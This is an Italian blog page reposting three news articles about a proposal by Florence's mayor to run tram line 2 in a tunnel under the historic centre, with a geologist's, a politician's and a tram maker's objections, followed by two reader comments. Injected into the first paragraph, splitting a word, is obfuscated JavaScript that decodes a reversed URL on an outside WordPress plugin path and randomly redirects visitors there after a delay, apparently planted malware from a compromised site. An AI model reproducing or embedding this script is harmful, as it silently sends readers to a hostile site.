Il tram sotto terra di Renzi? Una follia! Se si scava nelle viscere del centro si sprofonda

image_pdfimage_print

di Ilaria Ciuti

«Se dovessi decidere io non lo farei mai. Scavare sotto al centro è una follia». Non m (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anderebbe mai la tramvia sotto terra per sostituire il passaggio in superficie dal Duomo della linea 2. Il rischio è che per evitare il danno minore si cada nel peggiore, secondo il professore Massimo Coli. Uno che non solo è docente all´università di Firenze di geologia del sottosuolo ma ha anche condotto le indagini sul tunnel dell´alta velocità e da 12 anni si occupa insieme a Palazzo Vecchio di ricostruire la genealogia del sottosuolo della città. Per lui il buco nero in cui si dovrebbe infilare il tram dalla futura stazione alta velocità dei Macelli o da quella di Santa Maria Nuova fino ai Lungarni non ha misteri.

Eccolo il sottosuolo del centro. Coli lo vede come se fosse aperto. «E´ molto delicato», avverte subito. E spiega che dal piano di campagna, ovvero il suolo su cui mettiamo i piedi, fino a 16 o 20 metri di profondità l´area è tutta storica e alluvionale. Vuol dire che c´è dentro la famosa falda che scorre sotto Firenze e che vi si trovano le fondamenta sia della città romanica e medievale che dei palazzi attuali. «Il materiale storico archeologico – precisa – arriva fino ai 4 o 6 metri di profondità». Lì non si scava. Difficilissimo anche andare sotto i 20 metri: «Diventerebbe uno scavo profondissimo e assai impegnativo perché a quel livello c´è un substrato di sillano alterato e che è difficilissimo da scavare».

Non resterebbe che mandare il tram tra gli 8 e i 12 metri, secondo Coli. Ma ecco le ghiaie che si aprono e si chiudono sulla falda. Falda che inevitabilmente verrebbe intercettata «con problemi di deviazione dei flussi, rialzi da una parte e abbassamenti da un´altra e conseguenti potenziali problemi geotecnici di subsidenza come di danni agli edifici. Oppure problemi di troppe iniezioni di consolidamento e dunque di sollevamento del terreno». In soldoni, il tunnel incontrerebbe per forza la falda facendone deviare i flussi e minacciando il terreno di franare o di sollevarsi. Con evidenti danni agli edifici. Coli si domanda anche quante gallerie si scaverebbero: «Una di sei metri di diametro per un solo binario e il tram a corsa alternata? Bisognerebbe comunque fare le piazzole di sicurezza. Se invece le gallerie fossero due, lo scavo si allargherebbe e ci vorrebbero bypass di sicurezza ogni 300 metri».

Professore, ma si è scavato anche il tunnel della Manica. «Già, ma il pericolo era che si inondasse un tunnel non che crollasse una città. Dopodiché tecnicamente si può fare tutto. Purché si spenda molto nei progetti e si lavori alla perfezione. Difficile con il massimo ribasso. Soprattutto basterebbe poco per danneggiare un centro città tra i più famosi del mondo. Chi ci mette la firma? Chi si prende la responsabilità?».

Fonte Repubblica

***

De Zordo: “A cosa serve un tram che sta 3 km sotto terra?”
Il tram dovrebbe essere un mezzo pubblico di prossimità

Dopo il tunnel dell’Alta Velocità e il Tubone, adesso si progetta il tunnel della linea 2 della tramvia: il sottopasso del centro storico, lungo almeno tre chilometri, con ingresso alla stazione Tav degli ex Macelli e uscita ai lungarni! E’ un progetto faraonico e costosissimo, che avrebbe bisogno non solo delle indagini idrogeologiche ma sopratutto di una Valutazione di Impatto Ambientale. E poi servono almeno 100 milioni di euro per la sua realizzazione, tutti a carico del Comune, perchè la tramvia è in project financing.

Fonte perUnaltracittà
***

Fuori binario – Spunta un nuovo ostacolo per l’ipotesi avanzata dal sindaco. A rischio la sicurezza dei passeggeri
Il tram soffre di claustrofobia. Renzi pensa a un tunnel sotto al centro, ma Sirio è studiato solo per viaggiare in superficie
di Maurizio Abbati e Duccio Tronci

FIRENZE – Il tram sottoterra? I convogli Sirio – quelli che già oggi corrono sui binari della linea uno – sono progettati per restare in superficie. E come tali incontrerebbero grossi problemi tecnici e strutturali a camminare nel sottosuolo. A confermarlo è la stessa società che produce il Sirio, Ansaldo Breda, dopo le ipotesi lanciate dal sindaco Matteo Renzi di interrare un tratto della linea due della tramvia, per consentirle l’attaraversamento “invisibile” nel centro storico (che eviterebbe il discusso passaggio da piazza Duomo). E la gara per la fornitura dei convogli delle linee due e tre è già stata vinta dalla società del gruppo Finmeccanica. “Sirio è un tram, non progettato per andare sottoterra – spiega l’Ing. Fabio Ceroni, responsabile della divisione tram di Ansaldo Breda – che ovviamente è una cosa diversa rispetto a rimanere in superficie”. L’ipotesi dell’amministrazione comunale – sulla quale già alcuni tecnici avevano sollevato dubbi – si fa dunque in salita. Svariati gli ostacoli sul percorso. Primo su tutti quello riguardante la sicurezza: “E’ chiaro che in ogni galleria deve essere garantita – prosegue Ceroni – e se il tram dovesse andare sottoterra bisognerebbe valutare con attenzione le regole riguardanti le vie di fuga fra una fermata e l’altra. Il Ministero dei Trasporti ad oggi – prosegue – ha delle regole che andrebbero cambiate. Si tratta di una questione che andrebbe studiata con molta attenzione”. Un’altra incognita riguarda la guida dei convogli: la mancanza dell’illuminazione nel sottosuolo farebbe venir meno le capacità di azione del conducente, e sarebbe quindi necessario un sistema di controllo. In linea generale, sarebbe tecnicamente possibile mettere mano ai convogli, modificandoli strutturalmente in modo da renderli “agibili”. Ma sarebbe un “lavorone”. “Bisognerebbe cambiare la classe di arredi in base alla normativa fuoco-fumo per la sicurezza anti-incendio dei mezzi – spiega l’Ing.Giovanni Mantovani, ex coordinatore dei lavori per la linea uno della tramvia – oltre ai cavi e le resistenze. In altre parole il tram andrebbe concepito appositamente”. “In ogni caso se si dovesse pensare ad un interramento – aggiunge Mantovani – bisognerebbe scavare in un tratto di almeno tre chilometri. Si potrebbe ipotizzare così un percorso minimo che vada dalla nuova stazione Tav di via Circondaria all’archivio di Stati di viale Giovine Italia. A meno che non si voglia mettere il tram su un ascensore e calarlo nel sottosuolo nella zona della stazione di S.M.Novella”, ironizza. Forse sarebbe più semplice cambiare i mezzi che dovrebbero camminare sui binari: “Ansaldo Breda produce anche altri tipi di convogli, che generalmente vengono utilizzati per le metropolitane – conclude l’Ing. Sergio Ceroni – e non avremmo problemi a ricontrattare i termini dell’appalto per fornirli al Comune di Firenze”. E’ lecito però immaginare che tutte queste modifiche potranno comportare un forte accrescimento dei costi dell’opera fiorentina. Il dibattito è aperto, le soluzioni non scontate.

Fonte Nuovo Corriere di Firenze

0 Comments

  1. Pierluigi Fabbri

    Bene, quanto detto dal prof. Coli conforta quanto diversi anni fà un amico architetto che aveva lo studio in Centro Storico mi disse a proposito degli edifici che ci sono dentro.
    Se si considera che gli edifici più vecchi sono databili tra il ‘400 e il ‘500, che Firenze di alluvioni ne ha subìte diverse e la relativa vicinanza della falda così come del fiume Arno (in zona s.Ambrogio se scavi più di 7-8 metri trovi l’acqua, non è una balla ho visto con i miei occhi durante nel cantiere per la costruzione del Residence dei Ciompi vicino p.za s.Ambrogio…) non ha certamente fatto bene, si può comprendere come, nei secoli le fondamenta di molti palazzi siano andate verso il “marcio-putrido”, scavarci sotto (e poi da che ditte? da quelle che hanno fatto il disastro nel Mugello, i parcheggi come p.za Beccaria o p.za Ghiberti, la galleria al Galluzzo ? Con tutto quello che ne stà venendo fuori voi cosa gli affidereste ?) in queste condizioni è come dire “vediamo quanti danni riesco a fare”.
    Quello che ha preventivato il professore è facilmente capibile se si và a vedere quello che è accaduto al Poggetto dove è stata intercettata una falda e che si è cercato di arginare con massicce iniezioni di cemento, con il bel risultato di far scivolare lentamente l’intera collina verso il basso visto che l’acqua ha aumentato il livello prima della colata sollevando il terreno.
    CHE GENI CHE CI S’HA A FIRENZE!

    Reply
  2. Jacopo

    Al rigo numero 8 di questo articolo vine riportato: “futura stazione alta velocità dei Macelli o da quella di Santa Maria Nuova fino ai Lungarni non ha misteri.”

    Non sapevo che a Firenze ci fosse una stazione ferroviaria chiamata Santa Maria Nuova, forse chi ha scritto questo articolo dovrebbe andare a Santa Maria Nuova per scriverlo meglio.

    Reply

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *